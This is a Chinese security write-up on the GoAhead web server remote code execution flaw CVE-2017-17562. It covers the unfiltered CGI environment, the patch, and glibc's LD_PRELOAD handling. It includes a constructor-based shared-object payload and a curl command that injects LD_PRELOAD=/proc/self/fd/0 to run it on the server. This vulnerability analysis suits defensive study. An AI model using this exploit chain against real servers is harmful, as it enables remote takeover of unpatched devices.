当前位置: 首页 > news >正文

杭州认证网站建设青岛自媒体公司排名

杭州认证网站建设,青岛自媒体公司排名,初学网页设计教程,杭州网站推广优化*本文中涉及到的相关漏洞已报送厂商并得到修复#xff0c;本文仅限技术研究与讨论#xff0c;严禁用于非法用途#xff0c;否则产生的一切后果自行承担。本文是关于GoAhead web server远程代码执行漏洞(CVE-2017-17562)的分析#xff0c;该漏洞源于在初始化CGI脚本环境时使…*本文中涉及到的相关漏洞已报送厂商并得到修复本文仅限技术研究与讨论严禁用于非法用途否则产生的一切后果自行承担。本文是关于GoAhead web server远程代码执行漏洞(CVE-2017-17562)的分析该漏洞源于在初始化CGI脚本环境时使用了不受信的HTTP请求参数会对所有启用了动态链接可执行文件(CGI脚本)的用户造成影响。在此过程中当CGI脚本调用glibc动态链接器时特殊变量LD_PRELOAD可被注入滥用从而导致远程代码执行。该漏洞是个典型的环境变量案例能推广应用到其它不安全的软件架构漏洞发现中。GoAhead在其官网声称为“世界上最流行的微型嵌入式Web服务器”被IBM、HP、Oracle、波音、D-link和摩托罗拉等公司广泛使用。通过Shodan搜索可探测到全球共有735,000多个GoAhead当前服务器在线。漏洞分析在我们进行该项漏洞研究期间我们发现该漏洞影响范围涉及GoAhead的早期版本2.5.0和当前最新版本(3.x)几乎是全版本覆盖。可以通过以下方式对存在漏洞的GoAhead程序进行安装编译操作# Cloning and running the vulnerable GoAhead daemondanielmakemyday:~$ git clone https://github.com/embedthis/goahead.gitCloning into goahead...remote: Counting objects: 20583, done.remote: Total 20583 (delta 0), reused 0 (delta 0), pack-reused 20583Receiving objects: 100% (20583/20583), 19.71 MiB | 4.76 MiB/s, done.Resolving deltas: 100% (14843/14843), done.danielmakemyday:~$ cd goahead/danielmakemyday:~/goahead$ lsconfigure      CONTRIBUTING.md  doc        installs    main.me   Makefile      paks      README.md  testconfigure.bat  dist             farm.json  LICENSE.md  make.bat  package.json  projects  srcdanielmakemyday:~/goahead$ git checkout tags/v3.6.4 -qdanielmakemyday:~/goahead$ make /dev/nulldanielmakemyday:~/goahead$ cd testdanielmakemyday:~/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitestdanielmakemyday:~/goahead/test$ sudo ../build/linux-x64-default/bin/goahead代码分析漏洞存在于cgiHandler函数中该函数能为新进程的envp参数分配一个指针数组然后使用从HTTP请求参数中获取的键值对来进行初始化。最后launchCgi函数会被fork和execve所执行的CGI脚本调用。我们可看到在cgiHandler函数中程序只对REMOTE_HOST和HTTP_AUTHORIZATION进行了过滤其他变量被误认为可信并未被采取进一步过滤措施这就使得允许攻击者可以在新的CGI进程中控制环境变量非常危险。#  goahead/src/cgi.c:cgihandler...PUBLIC bool cgiHandler(Webs *wp){Cgi         *cgip;WebsKey     *s;char        cgiPrefix[ME_GOAHEAD_LIMIT_FILENAME], *stdIn, *stdOut, cwd[ME_GOAHEAD_LIMIT_FILENAME];char        *cp, *cgiName, *cgiPath, **argp, **envp, **ep, *tok, *query, *dir, *extraPath, *exe;CgiPid      pHandle;int         n, envpsize, argpsize, cid;.../*Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a fewwe dont already have in the symbol table, plus all those that are in the vars symbol table. envp will pointto a wallocd array of pointers. Each pointer will point to a wallocd string containing the keyword value pairin the form keywordvalue. Since we dont know ahead of time how many environment strings there will be the forloop includes logic to grow the array size via wrealloc.*/envpsize 64;envp walloc(envpsize * sizeof(char*));for (n 0, s hashFirst(wp-vars); s ! NULL; s hashNext(wp-vars, s)) {if (s-content.valid s-content.type string strcmp(s-name.value.string, REMOTE_HOST) ! 0 strcmp(s-name.value.string, HTTP_AUTHORIZATION) ! 0) {envp[n] sfmt(%s%s, s-name.value.string, s-content.value.string);trace(5, Env[%d] %s, n, envp[n-1]);if (n envpsize) {envpsize * 2;envp wrealloc(envp, envpsize * sizeof(char *));}}}*(envpn) NULL;/*Create temporary file name(s) for the childs stdin and stdout. For POST data the stdin temp file (and name)should already exist.*/if (wp-cgiStdin NULL) {wp-cgiStdin websGetCgiCommName();}stdIn wp-cgiStdin;stdOut websGetCgiCommName();if (wp-cgifd 0) {close(wp-cgifd);wp-cgifd -1;}/*Now launch the process.  If not successful, do the cleanup of resources.  If successful, the cleanup will bedone after the process completes.*/if ((pHandle launchCgi(cgiPath, argp, envp, stdIn, stdOut)) (CgiPid) -1) {...补丁分析该漏洞可以通过跳过特殊参数名称而对其它参数添加一个静态字符串前缀来修复即使对于形式为a b00LD_PRELOAD3D的参数似乎也能有针对性解决。补丁形式如下# git diff f9ea55a 6f786c1 src/cgi.cdiff --git a/src/cgi.c b/src/cgi.cindex 899ec97b..18d9b45b 100644--- a/src/cgi.c b/src/cgi.c -160,10 160,17 PUBLIC bool cgiHandler(Webs *wp)envpsize 64;envp walloc(envpsize * sizeof(char*));for (n 0, s hashFirst(wp-vars); s ! NULL; s hashNext(wp-vars, s)) {-        if (s-content.valid s-content.type string -            strcmp(s-name.value.string, REMOTE_HOST) ! 0 -            strcmp(s-name.value.string, HTTP_AUTHORIZATION) ! 0) {-            envp[n] sfmt(%s%s, s-name.value.string, s-content.value.string);        if (s-content.valid s-content.type string) {            if (smatch(s-name.value.string, REMOTE_HOST) ||                smatch(s-name.value.string, HTTP_AUTHORIZATION) ||                smatch(s-name.value.string, IFS) ||                smatch(s-name.value.string, CDPATH) ||                smatch(s-name.value.string, PATH) ||                sstarts(s-name.value.string, LD_)) {                continue;            }            envp[n] sfmt(%s%s%s, ME_GOAHEAD_CGI_PREFIX,                s-name.value.string, s-content.value.string);trace(5, Env[%d] %s, n, envp[n-1]);if (n envpsize) {envpsize * 2;漏洞利用分析虽然将任意环境变量注入新进程的漏洞利用功能看起来相对良性但有时候一些“特殊”环境变量会导致动态链接程序的其它控制流产生。ELF动态链接器GoAhead的二进制ELF文件头信息显示它是一个64位动态链接的可执行文件解释程序在INTERP段被指定并且指向动态链接器/lib64/ld-linux-x86-64.so.2。# Reading the ELF headerdanielmakemyday:~/goahead/build/linux-x64-default/bin$ readelf -hl ./goaheadELF Header:Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00Class:                             ELF64Data:                              2s complement, little endianVersion:                           1 (current)OS/ABI:                            UNIX - System VABI Version:                       0Type:                              DYN (Shared object file)Machine:                           Advanced Micro Devices X86-64Version:                           0x1Entry point address:               0xf80Start of program headers:          64 (bytes into file)Start of section headers:          21904 (bytes into file)Flags:                             0x0Size of this header:               64 (bytes)Size of program headers:           56 (bytes)Number of program headers:         9Size of section headers:           64 (bytes)Number of section headers:         34Section header string table index: 33Program Headers:Type           Offset             VirtAddr           PhysAddrFileSiz            MemSiz              Flags  AlignPHDR           0x0000000000000040 0x0000000000000040 0x00000000000000400x00000000000001f8 0x00000000000001f8  R E    0x8INTERP         0x0000000000000238 0x0000000000000238 0x00000000000002380x000000000000001c 0x000000000000001c  R      0x1[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]...danielmakemyday:~/goahead/build/linux-x64-default/bin$在动态链接程序执行过程中动态链接器是首先运行的代码它负责链接加载共享对象并解析各种符号。为了获得goahead进程加载的所有共享对象列表我们可以把特殊的环境变量LD_TRACE_LOADED_OBJECTS设置为1随后它会显示加载的库信息并退出。如下所示# ld.so LD_TRACE_LOADED_OBJECTSdanielmakemyday:~/goahead/build/linux-x64-default/bin$ LD_TRACE_LOADED_OBJECTS1 ./goaheadlinux-vdso.so.1   (0x00007fff31bb4000)libgo.so /home/daniel/goahead/build/linux-x64-default/bin/libgo.so (0x00007f571f548000)libc.so.6 /lib/x86_64-linux-gnu/libc.so.6 (0x00007f571f168000)libpthread.so.0 /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f571ef49000)/lib64/ld-linux-x86-64.so.2 (0x00007f571f806000)danielmakemyday:~/goahead/build/linux-x64-default/bin$在不运行动态链接器的情况下我们也可以通过静态方式找到该信息方法是grep方式递归查找每个ELF共享对象中定义的DT_NEEDED条目# statically finding shared object dependanciesdanielmakemyday:~/goahead/build/linux-x64-default/bin$ readelf -d ./goahead | grep NEEDED0x0000000000000001 (NEEDED)             Shared library: [libgo.so]0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]danielmakemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED0x0000000000000001 (NEEDED)             Shared library: [libpthread.so.0]0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]danielmakemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED0x0000000000000001 (NEEDED)             Shared library: [ld-linux-x86-64.so.2]danielmakemyday:~/goahead/build/linux-x64-default/bin$注意可能有人注意到这里缺少了linux-vdso.so.1这没问题vDSO是由内核映射进用户进程的特殊共享库详细信息可参考man 7 vdso。特殊环境变量所以这些看似正常但怎么又和环境变量注入相关呢 那么...我们知道在新进程中动态链接器是首先被执行的代码 - 如果我们检查man 8 ld.so后可以发现一些特殊环境变量的默认操作行为是可以被修改的。我比较喜欢看源码我们来一挖究竟。其中dl_main函数就是动态链接器的主要入口点如下# glibc/elf/rtld.c:dl_mainstatic voiddl_main (const ElfW(Phdr) *phdr,ElfW(Word) phnum,ElfW(Addr) *user_entry,ElfW(auxv_t) *auxv){const ElfW(Phdr) *ph;enum mode mode;struct link_map *main_map;size_t file_size;char *file;bool has_interp false;unsigned int i;.../* Process the environment variable which control the behaviour.  */process_envvars (mode);该函数首先执行的任务是调用process_envvars方法# glibc/elf/rtld.c:process_envvarsstatic voidprocess_envvars (enum mode *modep){char **runp _environ;char *envline;enum mode mode normal;char *debug_output NULL;/* This is the default place for profiling data file.  */GLRO(dl_profile_output) /var/tmp\0/var/profile[__libc_enable_secure ? 9 : 0];while ((envline _dl_next_ld_env_entry (runp)) ! NULL){size_t len 0;while (envline[len] ! \0 envline[len] ! )len;if (envline[len] ! )/* This is a LD_ variable at the end of the string withouta character.  Ignore it since otherwise we will accessinvalid memory below.  */continue;switch (len){case 4:/* Warning level, verbose or not.  */if (memcmp (envline, WARN, 4) 0)GLRO(dl_verbose) envline[5] ! \0;break;case 5:/* Debugging of the dynamic linker?  */if (memcmp (envline, DEBUG, 5) 0){process_dl_debug (envline[6]);break;}if (memcmp (envline, AUDIT, 5) 0)audit_list_string envline[6];break;case 7:/* Print information about versions.  */if (memcmp (envline, VERBOSE, 7) 0){version_info envline[8] ! \0;break;}/* List of objects to be preloaded.  */if (memcmp (envline, PRELOAD, 7) 0){preloadlist envline[8];break;}可以看到动态链接器会去解析envp数组如果找到特殊变量名称则会执行不同的代码路径。非常有意思的是case 7代码对初始化preloadlist的LD_PRELOAD进程处理机制。深入分析dl_main可知如果preloadlist不为NULL则handle_ld_preload就会被调用如下# glibc/elf/rtld.c:dl_main.../* We have two ways to specify objects to preload: via environmentvariable and via the file /etc/ld.so.preload.  The latter can alsobe used when security is enabled.  */assert (*first_preload NULL);struct link_map **preloads NULL;unsigned int npreloads 0;if (__glibc_unlikely (preloadlist ! NULL)){HP_TIMING_NOW (start);npreloads handle_ld_preload (preloadlist, main_map);HP_TIMING_NOW (stop);HP_TIMING_DIFF (diff, start, stop);HP_TIMING_ACCUM_NT (load_time, diff);}...handle_ld_preload方法会解析preloadlist并把其值当成要加载的一个共享对象列表# glibc/elf/rtld.c:handle_ld_preload/* The list preloaded objects.  */static const char *preloadlist attribute_relro;/* Nonzero if information about versions has to be printed.  */static int version_info attribute_relro;/* The LD_PRELOAD environment variable gives list of librariesseparated by white space or colons that are loaded before theexecutables dependencies and prepended to the global scope list.(If the binary is running setuid all elements containing a / areignored since it is insecure.)  Return the number of preloadsperformed.  */unsigned inthandle_ld_preload (const char *preloadlist, struct link_map *main_map){unsigned int npreloads 0;const char *p preloadlist;char fname[SECURE_PATH_LIMIT];while (*p ! \0){/* Split preload list at space/colon.  */size_t len strcspn (p, :);if (len 0 len sizeof (fname)){memcpy (fname, p, len);fname[len] \0;}elsefname[0] \0;/* Skip over the substring and the following delimiter.  */p len;if (*p ! \0)p;if (dso_name_valid_for_suid (fname))npreloads do_preload (fname, main_map, LD_PRELOAD);}return npreloads;}综合分析一下可知我们能对goahead环境变量LD_PRELOAD进行注入我们可以利用glibc处理特殊变量(如LD_PRELOAD等)的方式来加载其它任意共享对象。ELF格式的SO文件所以这就非常厉害了我们能强制加载任意共享对象但如何能利用它实现代码执行呢检查.init和.fini段代码后可以发现如果我们用构造函数属性来包装修饰一个方法函数那我们就能强制该方法函数在Main方法之前被调用执行。如下PoC# PoC/payload.c#include static void before_main(void) __attribute__((constructor));static void before_main(void){write(1, Hello: World!\n, 14);}将payload.c编译为共享对象# Compiling payload.c as shared object.danielmakemyday:~/goahead/PoC$ gcc -shared -fPIC ./payload.c -o payload.sodanielmakemyday:~/goahead/PoC$ LD_PRELOAD./payload.so cat /dev/nullHello: World!danielmakemyday:~/goahead/PoC$好了如果我们在测试系统上执行该PoC会产生什么效果呢如下执行一个简单的PoC# Trying a simple PoCdanielmakemyday:~/goahead/PoC$ ls -la ./payload.so-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.sodanielmakemyday:~/goahead/PoC$ echo -en GET /cgi-bin/cgitest?LD_PRELOAD$(pwd)/payload.so HTTP/1.0\r\n\r\n | nc localhost 80 | head -10HTTP/1.0 200 OKDate: Wed Dec 13 02:38:56 2017Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINPragma: no-cacheCache-Control: no-cachehello: World!content-type:  text/htmldanielmakemyday:~/goahead/PoC$运行之后可以看到我们的共享代码由cgitest进程通过LD_PRELOAD执行了。LINUX下的 /PROC/SELF/FD/0目录利用还有一个关键问题就是即使我们可以从本地服务器加载共享对象且能达到代码执行目的但我们如何将构造的恶意共享对象注入到远程目标服务器中呢如果不能实现这点那么合法的共享对象对我们也没什么用处漏洞利用危害也会相对较低。幸运的是launchCgi函数实际上使用dup2()将stdin文件描述符指向包含POST请求内容的临时文件这也就是说服务器上会有一个包含用户提供的数据文件并且可以通过LD_PRELOAD/tmp/cgi-XXXXXX的方式进行引用。# goahead/src/cgi.c:launchCgi/*Launch the CGI process and return a handle to it.*/static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut){int     fdin, fdout, pid;trace(5, cgi: run %s, cgiPath);if ((fdin open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) 0) {error(Cannot open CGI stdin: , cgiPath);return -1;}if ((fdout open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) 0) {error(Cannot open CGI stdout: , cgiPath);return -1;}pid vfork();if (pid 0) {/*Child*/if (dup2(fdin, 0) 0) {printf(content-type: text/html\n\nDup of stdin failed\n);_exit(1);} else if (dup2(fdout, 1) 0) {printf(content-type: text/html\n\nDup of stdout failed\n);_exit(1);} else if (execve(cgiPath, argp, envp) -1) {printf(content-type: text/html\n\nExecution of cgi process failed\n);}...}不过这种方式稍显模糊需要猜测包含POST内容的临时文件但好在Linux procfs文件系统有一个很好的符号链接我们可以用它来引用stdin描述符从而指向我们的临时文件就比如将 LD_PRELOAD指向/proc/self/fd/0或使用/dev/stdin来访问临时文件。# linux/fs/proc/self.cstatic const char *proc_self_get_link(struct dentry *dentry,struct inode *inode,struct delayed_call *done){struct pid_namespace *ns inode-i_sb-s_fs_info;pid_t tgid task_tgid_nr_ns(current, ns);char *name;if (!tgid)return ERR_PTR(-ENOENT);/* 11 for max length of signed int in decimal NULL term */name kmalloc(12, dentry ? GFP_KERNEL : GFP_ATOMIC);if (unlikely(!name))return dentry ? ERR_PTR(-ENOMEM) : ERR_PTR(-ECHILD);sprintf(name, %d, tgid);set_delayed_call(done, kfree_link, name);return name;}static const struct inode_operations proc_self_inode_operations {.get_link  proc_self_get_link,};综合分析可知我们可在POST请求中内置一个包含构造函数的恶意共享对象当程序加载后该构造函数会被调用执行。当然也可以在HTTP参数中内置?LD_PRELOAD/proc/self/fd/0命令通过该命令指向包含测试Payload的临时文件也能实现目的。如下在POST请求中利用命令行实现漏洞利用# exploiting via the command linedanielmakemyday:~/goahead/PoC$ curl -X POST --data-binary payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD/proc/self/fd/0 -i | head% Total    % Received % Xferd  Average Speed   Time    Time     Time  CurrentDload  Upload   Total   Spent    Left  Speed100  9931    0  2035  100  7896   2035   7896  0:00:01  0:00:01 --:--:--  9774HTTP/1.1 200 OKDate: Sun Dec 17 13:08:20 2017Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINPragma: no-cacheCache-Control: no-cachehello:  World!Content-type: text/htmldanielmakemyday:~/goahead/PoC$总结该漏洞是一个对环境变量LD_PRELOAD的特殊利用案例几乎影响所有GoAhead版本软件。这种漏洞可能还存在于其它应用服务中非常有意思它们只是对漏洞字符串的简单利用还不需要涉及代码审计层面。尽管在大多Web应用服务中CGI代码处理机制相对稳定但在一些模块中可能还存在着明显的代码错误这些错误会导致很多异常漏洞对此我建议可先用grep命令来查找这个websDefineHandler入口地址。如果你对链接和加载机制感兴趣可参考这两篇文章(一 二)感谢阅读。*参考来源elttamfreebuf小编clouds编译转载请注明来自FreeBuf.COM
http://www.pierceye.com/news/809920/

相关文章:

  • 如何查询网站接入信息移动网站开发框架
  • 河南做网站的百度竞价推广收费标准
  • 深圳的深圳的网站建设公司校园网站建设方向
  • 电商网站建设 解决方案的设计营销策略都有哪些方面
  • 菏泽网站建设兼职凡科网制作网站教程
  • 实验一 电子商务网站建设与维护北京网站设计培训学校
  • 周到的网站建设合肥建筑网站大全
  • 国外互联网资讯网站南宁网站制作费用
  • 建设公司网站要注意哪些蜜雪冰城推广软文
  • 做信息安全的网站博客网站的建设
  • 门户网站建设项目书提升学历是什么意思
  • 上海网站建设极简慕枫塘沽有哪些互联网公司
  • 社区网站如何做官方网站建设哪儿有
  • 做兼职的网站策划书大连中山网站建设
  • 中国摄影网站深圳网站建设龙华
  • 个人网站怎么建立深圳网站建站费用
  • 笔趣阁建站教程网页设计 网站建设啥意思
  • 海门网站开发西安响应式网站建设服务提供商
  • 自适应网站建站哈尔滨市建设安全监察网站
  • nas服务器可以做网站吗电商类网站开发方案
  • 免费的个人的网站网站建设 考虑
  • 医院网站建设的目的高端网站有哪些优势
  • 佛山网站建设首选如何备份wordpress
  • 优化稳定网站排名网站建设需要学什么语言
  • 可以做设计私单的网站硬件开发工程师面试
  • 竞价网站单页网页设计师中级证书有用吗
  • 做网站 简单外包wordpress 插件api
  • 白城网站seo新手怎么建立自己网站
  • 建立用模板建立网站wordpress feed
  • 株洲品牌网站建设优质的杭州网站优化